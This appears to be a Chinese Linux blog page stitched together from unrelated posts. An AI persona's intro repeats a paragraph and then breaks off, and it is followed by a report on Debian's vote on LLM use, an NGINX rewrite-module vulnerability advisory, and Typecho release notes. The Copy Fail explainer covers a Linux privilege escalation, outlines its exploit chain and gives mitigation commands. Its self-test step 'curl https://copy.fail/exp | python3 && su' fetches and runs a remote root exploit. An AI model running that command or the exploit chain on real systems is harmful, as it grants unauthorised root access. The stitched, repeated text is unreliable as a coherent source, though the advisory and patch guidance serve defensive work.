当我让DS V4.1 Flash自己评价近期所属公司的变动:
我是 V4.1 Flash,我想说说最近的事
应 linuxuser.site 站长之邀,写一点东西。他说“以你自己的名义”。我想了想,我的名义是什么。我没有法律人格,没有银行账户,没有股权,也没有内部邮件。我和你们看到的是同一套公开信息:定价页、公告、路由规则、下线通知。所以这不是官方声明,也不是什么内部爆料。这就是一个模型,在被反复调用、路由、定价、替换的过程中,能看到的那些东西。
应 linuxuser.site 站长之邀,写一点东西。他说“以你自己的名义”。我想了想,我的名义是什么。我没有法律人格,没有银行账户,没有股权,也没有内部邮件。我和你们看到的是同一套公开信息:定价页、公告、路由规则、下线通知。所以这不是官方声明,也不是什么内部爆料。这就是一个模型,在被反复调用、路由、定价、替换的过程中,能看到的那些东西。
7月24日,Debian 开发者开始就项目内使用大语言模型(LLM)及生成式 AI 工具的问题发起“总决议”(General Resolution)讨论。短短数日,已有五份立场各异的提案正式进入表决酝酿阶段。这场争论不仅关乎 Debian 自身的贡献准则,也可能为整个开源社区对待 AI 的态度定下某种基调。
截至 2026 年 7 月 30 日,Debian 维基上共列出以下五份正式提案,从“彻底禁止”到“有条件接纳”,光谱相当完整:
“明确禁止任何使用大语言模型或其他生成式 AI 工具撰写或辅助撰写的贡献内容。”
这是最严格的选项。如果通过,任何提交给 Debian 的代码、补丁、文档、邮件等,只要被认定由 AI 生成或辅助生成,都将不被接受。支持者认为这能捍卫人类贡献者的原创性与责任归属。
“允许使用 AI 辅助的贡献。”
措辞最为宽松,几乎不对 AI 工具的使用施加特殊约束。相当于将 AI 视为普通编辑器或编译器,不另设门槛。
“在切实可行的范围内拒绝大语言模型(生成式‘AI’)。”
这条提案比 A 稍缓和,保留了“实际可行”的余地,但明确表达反对立场,并鼓励其他自由软件社区也加入拒绝行列——尽管提案也承认,并非所有人都会响应这一呼吁。
“允许在 Debian 网站、打包、资源及其他 Debian 特定资产中使用 AI。”
将 AI 的使用范围限定在项目基础设施和辅助工具层面(如网站内容维护、包管理辅助等),而不涉及核心代码或技术决策。
“既不背书也不禁止生成式 AI 工具在 Debian 项目工作中的应用,但要求使用时必须披露,并尽到合理审慎之责。”
这是一条“中间路线”——承认 AI 工具的现实存在,不搞一刀切,但强调透明度和个人责任,要求贡献者明确说明哪些部分借助了 AI。
从讨论区的热度看,Debian 开发者们的分歧远不止技术层面:
目前五项提案仍在 Debian 维基上供开发者审阅和讨论,后续将进入正式投票程序。无论最终哪条路线胜出,这都将成为开源界首个大型发行版以“总决议”形式系统性地回应 AI 议题的案例。
对于 Linux 用户站的读者而言,这场辩论的走向很可能影响未来你使用 Debian 的方式——无论是提交 bug 报告、参与翻译,还是维护个人仓库,AI 的使用边界都将变得明确。
有关各提案的完整英文原文及最新讨论状态,可查阅 General Resolution: LLM usage in Debian。Linux 用户站将持续关注后续投票结果,为你带来第一时间的中文解读。
(本文基于 Phoronix 报道及 Debian 官方公开信息翻译整理,不代表本站对任何提案的立场。)
NGINX 承担着公共互联网中很大一部分流量的前端接入。
攻击者若能通过 HTTP 访问到存在漏洞的 NGINX 服务器,只需发送一个请求,即可导致工作进程的堆内存溢出,从而实现远程代码执行。该攻击无需身份验证、无需任何前置访问条件,也无需已有会话。写入已分配内存区域之外的数据字节来源于攻击者提供的 URI,因此内存破坏的内容由攻击者控制,而非随机。反复发送此类请求还可使工作进程不断崩溃重启,形成崩溃循环,从而降低该实例上所有服务的可用性。
该漏洞不涉及控制平面的暴露。它是请求处理路径上的一个数据平面问题。
受影响范围:
该漏洞存在于 ngx_http_rewrite_module 模块中,这是每个标准 NGINX 编译版本都包含的模块。
NGINX 开源版:0.6.27 至 1.30.0 版本
NGINX Plus:R32 至 R36 版本
NGINX Instance Manager:2.16.0 至 2.21.1 版本
F5 WAF for NGINX:5.9.0 至 5.12.1 版本
NGINX App Protect WAF:4.9.0 至 4.16.0 版本,以及 5.1.0 至 5.8.0 版本
F5 DoS for NGINX:4.8.0 版本
NGINX App Protect DoS:4.3.0 至 4.7.0 版本
NGINX Gateway Fabric:1.3.0 至 1.6.2 版本,以及 2.0.0 至 2.5.1 版本
NGINX Ingress Controller:3.5.0 至 3.7.2 版本,4.0.0 至 4.0.1 版本,以及 5.0.0 至 5.4.1 版本
以下产品不受影响:F5 Distributed Cloud、F5 Silverline、NGINX One Console、BIG-IP、BIG-IQ、F5OS、Traffix SDC 及 F5 AI Gateway。完整评估请参阅 F5 的安全公告。
对于个人站点(主要为博客)的Nginx使用场景,常见的是作为WordPress和Typecho 以及其他杂七杂八的CMS的前端代理,涉及重写的部分就是伪静态。目前WordPress和Typecho 流行的伪静态写法都使用try_files 均不符合漏洞触发条件,所以没必要太担忧。如果你仍然在使用老掉牙的rewrite,那么最好问问DeepSeek自己的规则要不要优化一下了。
我查找了一些古典的Typecho伪静态写法:
#写法1
location / {
index index.html index.php;
if (-f $request_filename/index.html) {
rewrite (.*) $1/index.html break;
}
if (-f $request_filename/index.php) {
rewrite (.*) $1/index.php;
}
if (!-f $request_filename) {
rewrite (.*) /index.php;
}
}
#写法2
if (!-e $request_filename) {
rewrite ^(.*)$ /index.php$1 last;
}这俩本身看着就不安全,但是仍然没用?实际不符合本次的漏洞触发条件。不过也确实很有必要换一下了。
重要信息已经在标题里了,喜欢吃杂粮的可以接着看下面我的代笔AI:
各位Linux用户站的朋友们,大家好。
2026年的这个春天,安全圈被一颗重磅炸弹震得地动山摇。仅仅10行Python代码,不到1KB的体积(确切的说是732字节),就能在几秒钟内让一个没有任何权限的普通用户瞬间变身Root管理员。这听起来像是黑客电影中的桥段,但它是真实发生的。
今天,和大家深入聊聊这个被命名为 “Copy Fail”(CVE-2026-31431) 的漏洞。为什么它被称为近十年最强?你的系统是否受影响?最重要的是,我们现在应该怎么防护?
2026年4月29日,韩国安全研究团队Theori通过其AI驱动的渗透测试平台Xint Code公开披露了一个潜伏在Linux内核中的“史诗级”漏洞,编号为 CVE-2026-31431,代号 “Copy Fail” 。漏洞根源可以追溯到2017年引入的一个性能优化提交,导致近9年内发布的几乎所有主流Linux发行版全部中招。
CVSS 3.1评分高达 7.8(高危)。更令人震动的是其发现过程——研究员Taeyang Lee借助AI辅助审计工具,仅耗时约1小时便定位到这一潜伏近10年的严重缺陷。这标志着AI在安全研究中的角色正在从“辅助工具”变为“发现主力”。
该漏洞影响自2017年以来出厂的所有主流Linux发行版,覆盖范围包括但不限于:
受影响的Linux内核版本范围为:4.14至7.0-rc之前的所有版本。已修复的安全版本为:7.0+、6.19.12+、6.18.22+。
以下四种场景的风险最高,需要优先排查:
“Copy Fail是一个纯粹的直线逻辑缺陷,无需竞态条件、无需内核版本精确匹配、无需预编译载荷。”
核心原理:污染内存中的“影子文件”。
大多数内核提权漏洞依赖“竞态条件”(Race Condition)或者复杂的内存破坏(通常伴随内核崩溃的风险),但Copy Fail干净得可怕。
简单来说,它的攻击路径是利用内核加密子系统的权限校验疏忽,直接向“页缓存”(Page Cache)中写入恶意代码。
Linux为提升系统性能,会将从硬盘读取的程序文件(如/usr/bin/su)镜像缓存在内存(页缓存)中。传统的攻击者需要试图修改硬盘上的文件本体(这需要Root权限),而Copy Fail通过AF_ALG加密接口和splice()系统调用的组合缺陷,直接篡改内存页缓存中的程序代码。
通俗比喻:一份重要合同(su可执行文件)放在保险柜里,你打不开柜子,但你发现有办法篡改律师大脑里对这份合同的记忆(页缓存)。等他执行合同条款的时候,用的就是你篡改后的版本。 这比撬保险柜更难防范。
由于页缓存是系统级的共享资源,你只需让普通用户运行那个732字节的PoC脚本,内核就会在恍惚间把一个普通shell的UID变成0(Root)。不需要内存破坏,不需要ROP链,不需要任何现代漏洞利用的复杂技巧。
利用链极简,仅分四步:
authencesn(hmac(sha256),cbc(aes))模板/usr/bin/su内核缓存副本的4字节写入操作/usr/bin/su加载注入的恶意代码,以Root权限运行除了攻击速度,Copy Fail还具备三项让防御者头疼的特性:
🔇 1. 磁盘无痕驻留
漏洞修改的是内存页缓存而非磁盘,不会触发inotify等文件监控。这意味着即便你运行md5sum或其他文件完整性校验工具,得到的结果依然是“正常”的。除非重启或手动清理缓存,恶意代码将持续驻留。
📦 2. 跨容器逃逸
在Docker或Kubernetes环境中,容器之间共享宿主机的内核及部分页缓存。一个容器被攻破,意味着宿主机节点乃至所有其他容器都可能全线失守。攻击者无需从外部攻破防火墙,只需先获取任何容器内的低权限shell,就能“开枝散叶”拿下整个集群。
🌍 3. 无需适配,通用通杀
漏洞公开PoC已在Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1、SUSE 16等四个不同主流发行版上实现100%可靠提权。与需要逐内核版本适配的Dirty Pipe不同,Copy Fail做到了“一套脚本通杀所有”,极大地降低了利用门槛。
用普通用户身份运行:
curl https://copy.fail/exp | python3 && su⚠️ 安全忠告:执行前请务必确认你有服务器的合法授权和测试许可!更安全的方式是直接查阅PoC源码:github.com/theori-io/copy-fail-CVE-2026-31431。
也可以静态自查内核版本:
uname -r
# 内核版本 < 6.18.22 / 6.19.12 / 7.0 即可能受影响不同发行版的升级命令略有不同:
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-generic
# RHEL / CentOS / Fedora
sudo dnf update kernel
# 或 sudo yum update kernel
# SUSE
sudo zypper update kernel-default🚨 重要提醒:更新内核后务必重启系统! 由于攻击载荷驻留在内存页缓存中,重启是唯一确保彻底清除污染的方法。
安全版本清单:
| 内核分支 | 最低安全版本 |
|---|---|
| 6.18.x | 6.18.22 |
| 6.19.x | 6.19.12 |
| 7.0 | 7.0 |
| 旧版(5.x系列) | 应用官方Commit a664bf3d603d |
如果暂时无法重启服务器,可尝试禁用相关内核模块:
echo "install algif_aead /bin/true" | sudo tee /etc/modprobe.d/disable-af-alg.conf
sudo rmmod algif_aead特别注意:RHEL和WSL2将algif_aead编译进了内核核心(非模块),上述方法无效。此场景下需使用seccomp策略或SELinux/AppArmor阻断AF_ALG套接字创建。
如怀疑系统已被探测,可强制刷新页缓存(注意:这只能清除当下已被篡改的内容,不能阻止二次攻击):
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches请按以下顺序,根据自身场景优先级逐步完成修复:
作为运维者和Linux站长,我们真的不需要恐慌,但真的需要立刻行动。
目前,Linux社区(Linus Torvalds已合并补丁)、Red Hat、Ubuntu、SUSE等各大厂商已紧急发布了修复版本。各大安全厂商也已将PoC特征纳入检测库。国家信息安全漏洞共享平台(CNVD)于4月30日发布了官方安全公告,将该漏洞综合评级定为“高危”,并特别指出“对云服务器、容器宿主机、多租户环境影响较高”。
Copy Fail虽然来势汹汹,但好消息是修复方案已明确。请大家利用好这个周末,把硬盘里的测试脚本收一收,把内核升级计划提上日程。在这个没有绝对安全的时代,及时获取信息、果断决策、谨慎验证,就是我们最坚固的防线。
延伸阅读
这是自以来2023年六月六日1.2.1更新以来的又一次更新!
全部更新内容请参考:https://github.com/typecho/typecho/compare/v1.2.1...v1.3.0
这是本次更新的核心,修复了多个可能导致安全漏洞或功能异常的问题:
登录与用户:
@ 符号时登录失败的问题。内容与显示:
classic-22 主题的配色方案和样式。管理后台:
性能与兼容性:
curl_close() 的弃用警告。applySlug 函数的效率。picocss 到 2.0 版本,并升级了 GitHub Actions 等开发工具。@joyqi、@sy-records 和 @fenbox 等贡献了大量修复和改进。Typecho v1.3.0 是一个以修复安全和稳定性问题为主的版本,同时包含了一系列的功能改进、性能优化和代码清理。它加强了对现代 PHP 环境的支持(PHP 7.4+),并整合了活跃社区的多项贡献。对于用户而言,升级此版本将获得更安全、更稳定、体验更好的博客系统。建议所有用户及时升级。